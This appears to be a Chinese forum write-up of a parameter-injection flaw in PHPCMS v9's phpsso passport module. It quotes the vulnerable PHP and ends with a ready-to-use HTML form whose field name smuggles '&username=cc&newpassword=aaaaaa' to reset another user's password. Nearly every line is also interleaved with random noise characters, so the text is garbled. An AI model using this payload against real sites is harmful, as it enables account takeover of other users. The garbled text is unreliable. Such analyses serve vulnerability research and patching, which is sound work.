提到的通行证的代码:0 T* e5 `9 E7 Y/ r" ]0 k3 D
( m2 z* _# o$ F, g1 k" V* G. Q" }& S
! N& g5 c& [0 J. @- cparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
, E4 p. ~# ^. s/ H; q/ C8 ?
j( {) w) V; q/ U. r7 q在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。& e9 O8 W% Y9 _) {, D( Z3 U# d
/ i) q. H2 L2 B7 s8 `0 `
我把它留给了你们。
H. l! W9 k4 \$ a不知道你们发现了它没有。
( g. l* W8 @& @: K1 @, ~- G$ a% {' i5 c3 g" f9 b
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。; c. I' |' F+ A
2 H# G8 u' h* ~* l3 M% j7 L& {. Z5 J
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。" s9 I9 F( X# I- c2 W
8 v O' @* q+ a) I也就是
( i8 e/ ]% U Y7 f! W
^! k9 k3 x- D0 A% busername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。5 P5 `1 X+ r/ L1 Q1 a! i
9 r; W- V& P3 z' ^! D; L要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。' D( a! a! d3 K, W/ G$ L: N8 c
3 v3 A8 y. Z+ N0 [* r/ B8 B/ ]: ]0 s# O; @8 q- i
其实我们有这样的机会,看看代码,如下:) g% w$ L; {) y, E+ h
5 a6 E, u6 E4 `: l5 g0 `" q
& \+ M# R$ X) rpublic function auth_data($data) {
4 S5 a6 O# S) M2 Y- H- [ $s = $sep = '';" B8 i; j* Q7 f- e- S
foreach($data as $k => $v) {$ C1 t8 J9 v# i& w! _, m! o# f3 z ~. N
if(is_array($v)) {
7 j; A$ [- x+ M% u" \/ F $s2 = $sep2 = '';; ~ m5 K# c4 d* @# c
foreach($v as $k2 => $v2) {- W1 s' G3 i/ S- x9 c1 f
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
7 f6 E, l7 ?: [8 I) g x4 w $sep2 = '&';
! @. a$ h0 N2 x- W% b% K" _ }, `6 q1 {+ a W5 k7 H
$s .= $sep.$s2;, [; d% ^% q) W* W
} else {
: ^( [9 s: l% v $s .= "$sep$k=".$this->_ps_stripslashes($v);1 h+ K/ ?# w7 R
}) v5 g" G) W! u7 ]& C
$sep = '&';
4 h# b3 z; R" t* e* R, ? }
6 x3 [" T& D. x+ X" d3 l$ z
3 D6 \0 B) c8 \, O& C2 i $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
& ^) P$ @* J# R" k' p2 y return $auth_s;
6 c! i8 d% s8 q& n }% B- _0 y2 Q1 X
1 c0 C2 }3 |: B1 a9 I) y可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。- }6 }5 {; Y: `& t
. R1 i' u$ h0 i: U9 b4 P& Q- {" Q
举个例子
! S% r& n& F$ q* C( K. V' F8 J+ A4 Q [- b
$a[aaa=a&bbb] = 'a';
+ R, W$ x( A; {$ q" z' t( w3 b- M9 C% @7 x) D# }- K; j
会变成aaa=a&bbb=a
6 I1 P# c* K6 ?# Y( T+ n) }6 J! f/ m. X( N) |2 j
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
% b! ]! N! f+ x& ^: q1 I B$ _5 E0 b8 c0 {
这个时候,我们可以再去看一个函数。/ D8 z/ p0 M: F3 x
6 y9 Z3 D1 f% v3 u. Q就在这个文件内:: g: M5 O4 u' D% E2 ^9 J) n
6 ]: E& I1 l1 s' Y) o7 G
* g8 G5 ^" y- b, k4 j8 c3 y: a
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {4 u$ T2 ]/ O( m* x& V; A& q4 Q
if($email && !$this->_is_email($email)) {. M1 z2 ]2 r5 m
return -4;
% {# X3 s+ }* R! K }& q7 m6 `2 d8 }. o0 f
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
: W( I* {6 J; M/ y }- k8 a, i/ A) ]
7 X' E9 h2 G9 J
这是向通行证发了这样一个请求。
) ` s$ `# g) V$ C. O
/ f, d8 l1 A( a( }我们再跟到通信证代码里去看看,就会有所发现。% w( J+ ~+ F: N$ {. L/ B c4 J
5 u1 V3 I9 x9 G, P7 v: z" s+ G
( m! W6 `& y3 o1 f
public function edit() {; r: {2 |, @) p. J7 k. ~
//能省就省,太长了不是吗?
% x* @4 G( c" J7 H- _* c: @
K7 ]' S) o$ j: w& j- _if($this->username) {
! l8 b( _4 v. B* h! x- t//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
; \8 o5 i U6 w1 F $res = $this->db->update($data, array('username'=>$this->username));
: T( N4 m& [. w$ ?! x' o8 ~ } else {7 v, L- ?. P: U4 q Y6 z
file_put_contents('typeb.txt',print_r($data,1).$this->uid);) L" i. a* S" P7 v2 Y
$res = $this->db->update($data, array('uid'=>$this->uid));/ S, P7 f- B- r* `
}
* ^4 ?' F% v i' K0 h: C
8 o5 K. Q6 Y. r1 Z5 J好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:9 f/ X. ^2 t. x0 M9 }8 o
4 I; t; i- s+ ]* F
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
, @% }9 T( X9 Z3 z
- K; |7 A& y+ y7 o/ G5 _' x1 W6 E很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
% P6 S: P4 n& t& p4 b) g7 j1 i( f) C, }; O! t3 v I& p8 @, o
我当然找到了:: I4 _0 S; s2 B
phpcms9/phpcms/modules/member/index.php
( z& k, Z4 h$ ]$ X; R+ b6 r* }5 g$ u5 h0 ]
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
3 R5 }6 N& A3 n$ y9 s3 Q5 f. E& K1 }# g% H
然后就没有然后了。+ C4 B* S! r9 [% H& g2 G4 L0 @
9 S5 i; v8 Y7 z9 c: x/ p* U+ O<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">* h9 }0 v) u) c( L
<table width="100%" cellspacing="0" class="table_form">
! p1 {0 u- w+ [! n1 F, N) W <tr>
* v3 @& e% h, J) D <th width="80">邮箱:</th> " v' x4 c6 R3 @
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>% h6 [5 F V- r+ O$ U B/ u
</tr>
, D0 s# p- K0 k( d <tr>' H$ d) s1 d/ [: s* v3 Q& E1 x
<th width="80">原密码:</th>
/ h& \% X9 B# [9 S: }8 Y; w& Z7 a8 W <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>. x& H' J e; @, `6 N
</tr>9 t. R% N4 _& ^
<tr>
& L. @: O( x2 Y( ]/ q0 [/ S <th>新密码:</th>
& p0 s; x0 P* k0 Q6 c; e$ F8 f <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>$ W/ t b. i1 s" c9 X
</tr>' k [1 [! H$ l! Z5 K
<th></th>
/ ]. ^& t4 L" b3 d. h8 ^. T! |/ ~ <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
) B7 R0 [& s7 Q </tr>
* h) g3 Q: i% T H </table>
* G* r+ l- K* _ j1 z% j6 d; K. h' Y' J( {2 M
d* s4 Z7 g. p. A o. K; f </form>
! g* |' [9 _$ b. P1 ~ |